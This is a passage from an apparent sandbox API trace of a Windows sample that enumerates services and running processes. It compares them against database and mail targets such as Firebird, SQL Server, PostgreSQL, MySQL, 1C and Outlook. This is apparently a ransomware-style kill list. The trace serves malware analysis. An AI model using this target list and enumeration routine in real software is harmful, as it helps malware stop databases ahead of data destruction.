[0075.201] EnumServicesStatusExW (in: hSCManager=0x514d48, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x21fff44, lpServicesReturned=0x21fff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x21fff44, lpServicesReturned=0x21fff5c, lpResumeHandle=0x0) returned 0 [0075.205] GetLastError () returned 0xea [0075.205] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0x134c) returned 0x36ee350 [0075.205] EnumServicesStatusExW (in: hSCManager=0x514d48, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x36ee350, cbBufSize=0x134c, pcbBytesNeeded=0x21fff44, lpServicesReturned=0x21fff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x36ee350, pcbBytesNeeded=0x21fff44, lpServicesReturned=0x21fff5c, lpResumeHandle=0x0) returned 1 [0075.207] CloseServiceHandle (hSCObject=0x514d48) returned 1 [0075.208] lstrlenW (lpString="Appinfo") returned 7 [0075.208] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0075.208] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0075.208] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0075.208] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0075.208] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0075.208] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0075.208] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0075.208] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0075.208] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0075.208] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0075.208] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0075.209] lstrlenW (lpString="AudioSrv") returned 8 [0075.209] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0075.209] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0075.209] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0075.209] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0075.209] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0075.209] lstrlenW (lpString="BFE") returned 3 [0075.209] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0075.209] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0075.209] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0075.209] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0075.209] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0075.209] lstrlenW (lpString="CryptSvc") returned 8 [0075.209] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0075.210] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0075.210] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0075.210] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0075.210] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0075.210] lstrlenW (lpString="CscService") returned 10 [0075.210] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0075.210] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0075.210] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0075.210] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0075.210] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0075.210] lstrlenW (lpString="DcomLaunch") returned 10 [0075.210] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0075.210] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0075.210] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0075.210] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0075.211] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0075.211] lstrlenW (lpString="Dhcp") returned 4 [0075.211] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0075.211] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0075.211] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0075.211] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0075.211] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0075.211] lstrlenW (lpString="Dnscache") returned 8 [0075.211] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0075.211] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0075.211] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0075.211] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0075.211] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0075.211] lstrlenW (lpString="DPS") returned 3 [0075.211] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0075.211] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0075.212] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0075.212] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0075.212] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0075.212] lstrlenW (lpString="eventlog") returned 8 [0075.212] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0075.212] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0075.212] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0075.212] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0075.212] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0075.212] lstrlenW (lpString="EventSystem") returned 11 [0075.212] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0075.212] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0075.212] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0075.212] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0075.212] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0075.213] lstrlenW (lpString="FontCache") returned 9 [0075.213] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0075.213] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0075.213] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0075.213] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0075.213] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0075.213] lstrlenW (lpString="gpsvc") returned 5 [0075.213] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0075.213] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0075.213] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0075.213] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0075.213] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0075.213] lstrlenW (lpString="iphlpsvc") returned 8 [0075.214] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0075.214] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0075.214] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0075.214] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0075.214] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0075.214] lstrlenW (lpString="LanmanServer") returned 12 [0075.214] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0075.214] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0075.214] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0075.214] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0075.214] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0075.214] lstrlenW (lpString="LanmanWorkstation") returned 17 [0075.215] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0075.215] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0075.215] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0075.215] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0075.215] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0075.215] lstrlenW (lpString="lmhosts") returned 7 [0075.215] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0075.215] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0075.215] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0075.215] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0075.215] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0075.215] lstrlenW (lpString="MMCSS") returned 5 [0075.215] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0075.215] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0075.215] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0075.215] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0075.216] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0075.216] lstrlenW (lpString="MpsSvc") returned 6 [0075.216] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0075.216] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0075.216] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0075.216] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0075.216] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0075.216] lstrlenW (lpString="Netman") returned 6 [0075.216] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1 [0075.216] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1 [0075.216] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1 [0075.216] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1 [0075.216] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1 [0075.217] lstrlenW (lpString="netprofm") returned 8 [0075.217] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0075.217] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0075.217] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0075.217] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0075.217] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0075.217] lstrlenW (lpString="NlaSvc") returned 6 [0075.217] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0075.217] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0075.217] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0075.217] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0075.217] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0075.217] lstrlenW (lpString="nsi") returned 3 [0075.218] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0075.218] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0075.218] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0075.218] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0075.218] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0075.218] lstrlenW (lpString="PcaSvc") returned 6 [0075.218] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0075.218] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0075.218] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0075.218] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0075.218] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0075.218] lstrlenW (lpString="PlugPlay") returned 8 [0075.218] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0075.218] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0075.218] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0075.219] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0075.219] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0075.219] lstrlenW (lpString="Power") returned 5 [0075.219] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0075.219] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0075.219] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0075.219] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0075.219] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0075.219] lstrlenW (lpString="ProfSvc") returned 7 [0075.219] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0075.219] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0075.219] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0075.219] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0075.219] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0075.220] lstrlenW (lpString="RpcEptMapper") returned 12 [0075.220] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0075.220] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0075.220] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0075.220] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0075.220] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0075.220] lstrlenW (lpString="RpcSs") returned 5 [0075.220] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0075.220] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0075.220] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0075.220] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0075.220] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0075.220] lstrlenW (lpString="SamSs") returned 5 [0075.220] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0075.220] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0075.221] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0075.221] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0075.221] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0075.221] lstrlenW (lpString="Schedule") returned 8 [0075.221] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0075.221] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0075.221] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0075.221] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0075.221] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0075.221] lstrlenW (lpString="SENS") returned 4 [0075.221] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0075.221] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0075.221] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0075.222] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0075.222] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0075.222] lstrlenW (lpString="ShellHWDetection") returned 16 [0075.222] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0075.222] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0075.222] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0075.222] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0075.222] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0075.222] lstrlenW (lpString="Spooler") returned 7 [0075.222] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0075.222] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0075.222] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0075.222] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0075.222] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0075.223] lstrlenW (lpString="sppsvc") returned 6 [0075.223] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="sppsvc") returned -1 [0075.223] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="sppsvc") returned -1 [0075.223] lstrcmpiW (lpString1="sqlwriter", lpString2="sppsvc") returned 1 [0075.223] lstrcmpiW (lpString1="mssqlserver", lpString2="sppsvc") returned -1 [0075.223] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="sppsvc") returned 1 [0075.223] lstrlenW (lpString="SysMain") returned 7 [0075.223] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0075.223] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0075.223] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0075.223] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0075.223] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0075.223] lstrlenW (lpString="Themes") returned 6 [0075.223] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0075.223] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0075.224] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0075.224] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0075.224] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0075.224] lstrlenW (lpString="TrkWks") returned 6 [0075.224] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0075.224] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0075.224] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0075.224] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0075.224] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0075.224] lstrlenW (lpString="UxSms") returned 5 [0075.224] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0075.224] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0075.224] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0075.224] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0075.225] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0075.225] lstrlenW (lpString="WdiServiceHost") returned 14 [0075.225] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1 [0075.225] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1 [0075.225] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1 [0075.225] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1 [0075.225] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1 [0075.225] lstrlenW (lpString="WdiSystemHost") returned 13 [0075.225] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1 [0075.225] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1 [0075.225] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1 [0075.225] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1 [0075.225] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1 [0075.226] lstrlenW (lpString="WinDefend") returned 9 [0075.227] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinDefend") returned -1 [0075.227] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinDefend") returned -1 [0075.227] lstrcmpiW (lpString1="sqlwriter", lpString2="WinDefend") returned -1 [0075.227] lstrcmpiW (lpString1="mssqlserver", lpString2="WinDefend") returned -1 [0075.227] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinDefend") returned -1 [0075.227] lstrlenW (lpString="WinHttpAutoProxySvc") returned 19 [0075.227] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0075.227] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0075.227] lstrcmpiW (lpString1="sqlwriter", lpString2="WinHttpAutoProxySvc") returned -1 [0075.227] lstrcmpiW (lpString1="mssqlserver", lpString2="WinHttpAutoProxySvc") returned -1 [0075.227] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinHttpAutoProxySvc") returned -1 [0075.227] lstrlenW (lpString="Winmgmt") returned 7 [0075.227] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0075.227] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0075.227] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0075.228] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0075.228] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0075.228] lstrlenW (lpString="wscsvc") returned 6 [0075.228] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="wscsvc") returned -1 [0075.228] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="wscsvc") returned -1 [0075.228] lstrcmpiW (lpString1="sqlwriter", lpString2="wscsvc") returned -1 [0075.228] lstrcmpiW (lpString1="mssqlserver", lpString2="wscsvc") returned -1 [0075.228] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="wscsvc") returned -1 [0075.228] lstrlenW (lpString="wuauserv") returned 8 [0075.228] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="wuauserv") returned -1 [0075.228] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="wuauserv") returned -1 [0075.228] lstrcmpiW (lpString1="sqlwriter", lpString2="wuauserv") returned -1 [0075.228] lstrcmpiW (lpString1="mssqlserver", lpString2="wuauserv") returned -1 [0075.229] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="wuauserv") returned -1 [0075.229] HeapFree (in: hHeap=0x4c0000, dwFlags=0x0, lpMem=0x36ee350 | out: hHeap=0x4c0000) returned 1 [0075.229] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1a0 [0075.239] Process32FirstW (in: hSnapshot=0x1a0, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0075.240] Process32NextW (in: hSnapshot=0x1a0, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x51, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0075.447] lstrlenW (lpString="System") returned 6 [0075.447] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0075.447] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0075.447] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0075.447] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0075.447] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0075.447] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0075.447] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0075.447] Process32NextW (in: hSnapshot=0x1a0, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0075.449] lstrlenW (lpString="smss.exe") returned 8 [0075.449] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0075.449] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0075.449] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0075.449] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0075.449] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0075.652] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0075.652] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0075.652] Process32NextW (in: hSnapshot=0x1a0, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0075.654] lstrlenW (lpString="csrss.exe") returned 9 [0075.654] Process32NextW (in: hSnapshot=0x1a0, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0075.655] lstrlenW (lpString="wininit.exe") returned 11 [0075.656] Process32NextW (in: hSnapshot=0x1a0, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0075.657] lstrlenW (lpString="csrss.exe") returned 9 [0075.657] Process32NextW (in: hSnapshot=0x1a0, 